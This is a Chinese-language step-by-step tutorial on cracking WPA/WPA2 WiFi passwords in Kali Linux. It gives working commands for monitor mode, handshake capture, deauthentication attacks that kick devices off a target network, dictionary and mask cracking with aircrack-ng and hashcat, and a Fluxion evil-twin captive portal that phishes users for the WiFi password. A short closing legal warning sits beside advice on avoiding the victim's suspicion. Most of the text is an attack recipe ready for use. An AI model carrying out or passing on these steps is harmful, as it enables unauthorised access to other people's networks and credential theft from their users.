准备工作

  • 安装 Kali Linux 系统,物理机直接安装或者虚拟机安装都行,下载:官方下载

  • 支持监听模式的无线网卡:可以在网上买或去电子商店买。一定要买支持监听(RFMON)的无线网卡,最好是免驱的,否则无法破解网络

开始破解

暴力破解

以 root 身份登录 Kali Linux,插上无线网卡,将已连接的网络断开

查看当前网卡信息

1
ifconfig

如果看到wlan0,说明它已经正常驱动并识别到了,如果没有看到wlan0,说明你的网卡没有安装成功

检查网卡是否支持监听功能

1
airmon-ng

如果显示wlan0这个无线网卡,就说明是支持监听功能的

打开无线网卡监听模式

激活无线网卡监听模式

1
2
3
airmon-ng check
airmon-ng check kill // 关闭影响监听状态的进程
airmon-ng start wlan0

查看打开监听的无线网卡名称

1
ifconfig

扫描WiFi信号

1
airodump-ng wlan0mon

如果出现 Device or Resource is Busy 的错误,并且执行 airmon-ng 命令查看 PHY 显示为 null,那么可以更新无线网卡驱动解决

默认扫描的是2.4G,如果扫描5G需要在后面增加--band a参数,表示扫描5G频段

1
airodump-ng wlan0mon --band a

参数说明:

--band

  • a:表示只监视5GHz频段上的无线网络。
  • b:表示只监视2.4GHz频段上的无线网络。
  • abg:表示同时监视2.4GHz和5GHz频段上的无线网络。

扫描到你要破解的wifi名字后按 Ctrl+C停止,然以记下BSSIDCH

开始抓包

以破解上面第一个名叫laoge的WiFi为例

1
2
airodump-ng wlan0mon --bssid 60:32:B1:56:3F:B2 -c 11 -w /home/kali/桌面/handshake
# airodump-ng wlan0mon --bssid [BSSID] -c [信道号] -w [路径]

参数说明:

  • 11是要破解WiFi的频段,WiFi 的 CH。

  • 60:32:B1:56:3F:B2 就是要破解WiFi的Mac地址,这两处根据扫描到的信息自行替换就可以了。

  • /home/kali/桌面/handshake是在桌面生成handshake数据包,这里可以自行修改路径。

默认监听也是2.4G,如果要监听5G需要在后面添加--band a参数,表示监听5G频段

1
2
airodump-ng wlan0mon --bssid 60:32:B1:56:3F:B2 -c 11 --band a -w /home/kali/桌面/handshake
# airodump-ng wlan0mon --bssid [BSSID] -c [信道号] --band a -w [路径]

但是这种抓包方式它是一种被动的等待模式,多长时间能够抓到握手包主要依赖于什么时候有设备和这个WiFi完成成功的认证,这是一种守株待兔的方式,抓包时间一般比较长,所以可以通过ACK死亡攻击把连接网络的设备踢下线,当设备重新连接的时候就可以抓到包了。

使用Deauth发起ACK死亡攻击强制握手

新开一个终端,之前抓包的窗口不要关闭,一定要开着,在新终端下输入攻击命令

1
aireplay-ng -0 10 -a 60:32:B1:56:3F:B2 -c CC:08:FB:DD:42:18 wlan0mon

参数说明:

  • -0代表通知设备已断开连接
  • 10代表攻击次数,可以设置稍微大一点,但是一般10已经足够使用了
  • 60:32:B1:56:3F:B2是需要破解的BSSID
  • CC:08:FB:DD:42:18是需要踢下线的设备的,就是STATION那一栏的参数

当右上角出现”WPA handshake”握手包就说明抓包成功了

然后回到抓包那个终端Ctrl+C退出抓包,桌面上就会有5个文件

左边最后一个cap文件就是要用来暴力破解的文件

使用密码字典暴力破解

密码字典可以网上找,也可以自己使用工具生成

这里以常用的密码字典为例:

下载好密码字典以后就可以跑包了

使用aircrack-ng跑字典
1
aircrack-ng -w /home/kali/桌面/rockyou.txt -b 60:32:B1:56:3F:B2 /home/kali/桌面/handshake-01.cap

参数说明:

  • /home/kali/桌面/rockyou.txt是存放密码字典的路径
  • 60:32:B1:56:3F:B2是需要破解WiFi信号的BSSID
  • /home/kali/桌面/handshake-01.cap是cap文件的路径

破解速度取决于电脑硬件配置和你的密码字典,如果你的密码字典足够大,并且在密码字典中存在这个WiFi的WiFi密码,那就你100%破解成功

破解成功后就会显示WiFi密码了

使用Hashcat跑字典

由于 Hashcat 需要使用 GPU 才能高效破解密码,所以需要确保你的 Kali Linux 可以正常驱动显卡,或者直接在 Windows 电脑上下载 Hashcat 执行操作也是可以的。

首先需要通过 Hashcat 网站将 cap 文件转换为 hc22000 格式,然后修改并执行下面的命令:

1
hashcat -m 22000 xxx.hc22000 password.txt

xxx hc22000 文件名称

password 密码字典名称

字典模式的暴力破解成功率和字典的大小有直接关系,但是再大的字典,如果字典中没有这个 WiFi 的密码,那么最终还是无法破解,而且耗费的时间也会更久。

使用掩码暴力破解

除了使用字典暴力破解,我们还可以使用掩码暴力破解

例如我们知道 WiFi 密码是 8 位纯数字:

1
hashcat -a 3 -m 22000 xxx.hc22000 ?d?d?d?d?d?d?d?d

或者 8-9 位小写字母开头+数字的组合:

1
hashcat -a 3 -m 22000 xxx.hc22000 --increment --increment-min 8 --increment-max 9 ?l?d?d?d?d?d?d?d?d

我们还可以使用 --session 参数存储会话,程序中断之后可以继续执行

1
hashcat -a 3 -m 22000 xxx.hc22000 --session sss --increment --increment-min 8 --increment-max 9 ?h?h?h?h?h?h?h?h?h

恢复会话,从上次的断点继续执行

1
hashcat --session sss --restore

sss 存储的会话名称

破解完成后程序会自动停止运行,并且显示 WiFi 密码

掩码字符说明:

l :abcdefghijklmnopqrstuvwxyz [a-z]

u :ABCDEFGHIJKLMNOPQRSTUVWXYZ [A-Z]

d :0123456789 [0-9]

h :0123456789abcdef [0-9 a-f]

H :0123456789ABCDEF [0-9 A-F]

s :!”#$%&’()*+,-./:;<=>?@[]^_`{|}~

a :?l?u?d?s

b :0x00 - 0xff

Hashcat 相关参数说明

下面列出了常用参数的说明,全部参数的说明可以使用 hashcat --help 命令查看

-a 指定要使用的破解模式(0 字典攻击,1 组合攻击,3 掩码攻击)

-m 指定要破解的 Hash 类型(默认 MD5)

-o 指定成功破解的 Hash 和明文密码的存放位置

--session 存储当前会话

--increment 启用增量破解模式

--increment-min 密码最小长度(配合 –increment 参数使用)

--increment-max 密码最大长度(配合 –increment 参数使用)

--force 忽略警告信息

--show 显示成功破解的 Hash 和明文密码

WiFi钓鱼破解

Fluxion 是一种安全审计和社会工程研究工具。它是 vk496 对 linset 的重制版,(希望)错误更少,功能更多。该脚本尝试通过社会工程(网络钓鱼)攻击从目标接入点检索 WPA/WPA2 密钥。

其原理是通过阻塞原始网络并创建一个虚假的钓鱼 WiFi,诱骗用户主动输入WiFi密码。相对于暴力破解可以更快速的获取 WiFi 密码

下载 Fluxion

切换到 root 用户

1
sudo -i

使用 git 命令克隆 Fluxion 项目到本地

1
git clone https://www.github.com/FluxionNetwork/fluxion.git

克隆完成后进入项目文件夹

1
cd fluxion

运行 Fluxion

1
./fluxion.sh

Fluxion 会自动检查缺失的依赖,如果有缺失的依赖,使用下面的命令自动安装

1
./fluxion.sh -i

抓取握手包

输入 18 选择中文

输入 2 检索 WPA/WPA2 加密散列

输入 1 选择无线网卡(一般情况都是显示 wlan0)

输入 3 扫描所有信道(2.4GHz & 5GHz)

如果网卡不支持 5G 频段,扫描后的结果不包含 5G 频段的 WiFi

扫描到目标 WiFi 后,按 Ctrl + C 停止扫描

输入目标 WiFi 前面的序号(序号前面的 0 不需要输入)

输入 2 选择“跳过”

输入 2 选择 aireplay-ng 解除认证方式

之后全部选择推荐的选项

之后会自动抓取握手包,如果有连接到WiFi的设备,aireplay-ng 会把它踢下线,一般设备都会自动重连 WiFi,这个时候就抓取到握手包了。成功抓到握手包之后,左下角命令行会闪烁,同时显示“成功”,然后关掉这个命令行窗口就可以了

创建钓鱼 WiFi

输入 1 选择“专属门户”

输入 Y 开始创建钓鱼 AP

输入 2 选择“跳过”

输入 2 选择无线网卡(一般情况都是显示 wlan0)

输入 1 选择 mdk4 解除认证方式

输入 1 选择推荐的选项

输入 1 选择 cowpatty 验证密码方式

输入 1 使用抓取到的 hash 文件

输入 2 选择推荐的选项

输入 1 创建 SSL 证书

输入 1 选择推荐的选项

输入 3 选择中文版本的通用认证网页

推荐根据 官方文档 自己编写认证网页上传,因为通用的认证网页界面实在是太丑了…

之后就是等待鱼儿上钩了,钓鱼成功后右上角的窗口会显示密码保存的路径(复制这个路径,待会要用到)

当有人连接了钓鱼 WiFi,就会跳转到下面的这个认证页面,程序会比对输入密码的哈希值,输入正确的密码会自动关闭钓鱼 WiFi,并将密码保存到日志中,否则会提示密码错误

查看密码

Ctrl + C 退出 Fluxion,之后输入下面的命令查看密码

1
sudo cat /root/fluxion/attacks/Captive\ Portal/netlog/test-5A:A0:DA:E3:BE:2F.log

后面的路径就是上一步复制的,注意空格前面需要使用 \ 转译

Fluxion 只适合距离路由器距离较近,WiFi 信号较强,并且拥有大功率无线网卡的场景,否则创建的钓鱼 WiFi 永远排在真实 WiFi 的下面,用户可能永远都不会连接这个钓鱼 WiFi,因为信号实在是太差了

警告

  • 擅自破解其他人的无线局域网是违法的。只能对自己的网络,或明确同意你测试的网络执行上述步骤。

  • 发送两个以上的Deauth包可能会造成目标电脑崩溃,这样会让对方怀疑。